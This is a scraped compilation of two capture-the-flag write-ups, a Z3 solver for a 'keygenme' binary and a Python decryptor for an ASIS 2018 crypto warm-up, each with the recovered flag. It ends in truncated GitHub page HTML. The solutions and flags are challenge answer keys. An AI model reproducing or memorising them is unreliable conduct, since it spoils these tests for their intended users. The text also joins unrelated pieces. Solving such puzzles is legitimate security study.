I did not participate in STEM STF, but this task seemed interesting to me. But since almost all writeups with angr get boring and monotonous - I decided to make it with Z3(lol, almost all my Z3 writeups boring and monotonous also :D). We have some file `keygenme`. So let's start analysis! ```pc@pc:~/$ file keygenme keygenme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2df07d316e0400087379638a40614b8dd0d635c0, not stripped``` In main we have```Cvoid main(void) { char flag[24]; printf("Give me a key: "); scanf("%21s", flag); check_1(flag); check_2(flag); check_3(flag); check_4(flag); check_5(flag); check_6(flag); check_7(flag); check_8(flag); check_9(flag); check_10(flag); check_11(flag); check_12(flag); check_13(flag); check_14(flag); check_15(flag); check_16(flag); check_17(flag); check_18(flag); check_19(flag); printf("Grats! You made it!");}``` Funcs check_NUM is almost same, like```void check_1(char *x) { if ( x[16] - x[8] - x[9] * x[1] - x[19] != -4464 ) fail();}``` Now create Z3 script to solve this equations: ```pythonfrom z3_staff import * # https://github.com/KosBeg/z3_staff x = create_vars(21, size=8) # create and return 21 BitVecs with size 8s = solver() # create and return solverset_ranges() # set ASCII ranges(printable chars) for all vars created by create_vars set_known_bytes('MCA{*}', type='ff') # set known flag format, or we can use without ", type='ff'" like "set_known_bytes('MCA{' + '*'*16 + '}')" # add all known equationsadd_eq( x[19] + x[8] - x[13] + x[9] == 104 ) # check_0add_eq( x[16] - x[8] - x[9] * x[1] - x[19] == -4464 ) # check_1add_eq( x[14] * x[15] == 2912 ) # check_2add_eq( x[2] * x[13] + x[6] == 4541 ) # check_3add_eq( x[7] + x[4] * x[7] * x[2] == 211300 ) # check_4add_eq( x[15] * (x[12] + 1) + x[14] == 3748 ) # check_5add_eq( x[19] * x[18] - x[20] * x[4] - x[13] == -5332 ) # check_6add_eq( x[3] * x[0] * x[5] == 454608 ) # check_7add_eq( x[3] * x[9] - x[8] == 8064 ) # check_8add_eq( x[1] - x[5] * x[9] - x[5] + x[1] == -3082 ) # check_9add_eq( x[11] * x[4] + x[9] == 3511 ) # check_10add_eq( x[14] * x[19] + x[3] == 3091 ) # check_11add_eq( x[16] * x[0] * x[4] * x[18] == 17567550 ) # check_12add_eq( x[17] + x[16] * x[19] + x[13] * x[7] == 6950 ) # check_13add_eq( x[14] + x[4] * x[7] - x[8] == 3252 ) # check_14add_eq( x[17] + x[0] * x[10] * x[11] == 212267 ) # check_15add_eq( x[17] + x[16] - x[15] + x[12] == 138 ) # check_16add_eq( x[8] + x[5] * x[14] == 2742 ) # check_17add_eq( x[5] * x[2] == 3120 ) # check_18add_eq( x[20] - x[8] + x[1] * x[12] - x[12] == 4691 ) # check_19add_eq( x[5] + x[6] + x[9] == 170 ) # check_20 i = 0start_time = time.time()if s.check() == sat: # https://stackoverflow.com/questions/13395391/z3-finding-all-satisfying-models founded = prepare_founded_values() # return founded values as array print ''.join( chr(j) for j in founded ) # print flag as string iterate_all() # prepare to next iteration, anticollision i += 1print('--- %.2f second(s) && %d answer(s) ---' % ((time.time() - start_time), i) )``````PS C:\!CTF> python keygenme_solver.pyMCA{A0826B45FE84A765}--- 0.04 second(s) && 1 answer(s) ---```
Problem description: `Welcome to ASIS Early School.`Category: CryptoSolves: 210Points: 32 first install package: `pip install pycryptodome` then run code:```from Crypto.Util.number import * iteration = 19 def decrypt(msg): msg = msg[0:len(msg)-1] some_name = "" for i in range(0, len(msg), 3): some_name += msg[i:i+2] return some_name with open("FLAG.enc", "rb") as f: r = f.read()f.close()my_var = bytes_to_long(r) my_var = bin(my_var)[2:] for _ in xrange(iteration): my_var = decrypt(my_var) ans = int(my_var, 2) my_var = long_to_bytes(ans)print my_var```NOTE: we change iteration with a for loop and find out it is 19( i remove for loop in this code). how we write `def decrypt`? we run the original code(challenge) and realize how it work(we give a single character with one iteration) and reverse it. flag was: `ASIS{50_S1mPl3_CryptO__4__warmup____}` another solution: [https://github.com/rollsafe/ctf-writeups/tree/master/asis-ctf-2018-quals/the_early_school](https://github.com/rollsafe/ctf-writeups/tree/master/asis-ctf-2018-quals/the_early_school)
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-stuff/asis18/cat at master · giosch/CTF-stuff · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="9133:8CC1:1583DCFA:1624FC01:64122681" data-pjax-transient="true"/><meta name="html-safe-nonce" content="404fe234c55a491db17a3623a98ec18fdbd037180ac5029d934be699f276f457" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5MTMzOjhDQzE6MTU4M0RDRkE6MTYyNEZDMDE6NjQxMjI2ODEiLCJ2aXNpdG9yX2lkIjoiNjk0MzUyMDc3NTUzMTAxMzc2MSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="4a484e8afc223cccc03260d0319f02f39a020c9f2eac3b73821c03b8156f1874" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:131639685" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to giosch/CTF-stuff development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/2cdc1529b20ddb65a4cee1130a41638167a88c6b481bb9276c55ecc02d3326fb/giosch/CTF-stuff" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-stuff/asis18/cat at master · giosch/CTF-stuff" /><meta name="twitter:description" content="Contribute to giosch/CTF-stuff development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/2cdc1529b20ddb65a4cee1130a41638167a88c6b481bb9276c55ecc02d3326fb/giosch/CTF-stuff" /><meta property="og:image:alt" content="Contribute to giosch/CTF-stuff development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-stuff/asis18/cat at master · giosch/CTF-stuff" /><meta property="og:url" content="https://github.com/giosch/CTF-stuff" /><meta property="og:description" content="Contribute to giosch/CTF-stuff development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/giosch/CTF-stuff git https://github.com/giosch/CTF-stuff.git"> <meta name="octolytics-dimension-user_id" content="14998712" /><meta name="octolytics-dimension-user_login" content="giosch" /><meta name="octolytics-dimension-repository_id" content="131639685" /><meta name="octolytics-dimension-repository_nwo" content="giosch/CTF-stuff" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="131639685" /><meta name="octolytics-dimension-repository_network_root_nwo" content="giosch/CTF-stuff" /> <link rel="canonical" href="https://github.com/giosch/CTF-stuff/tree/master/asis18/cat" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 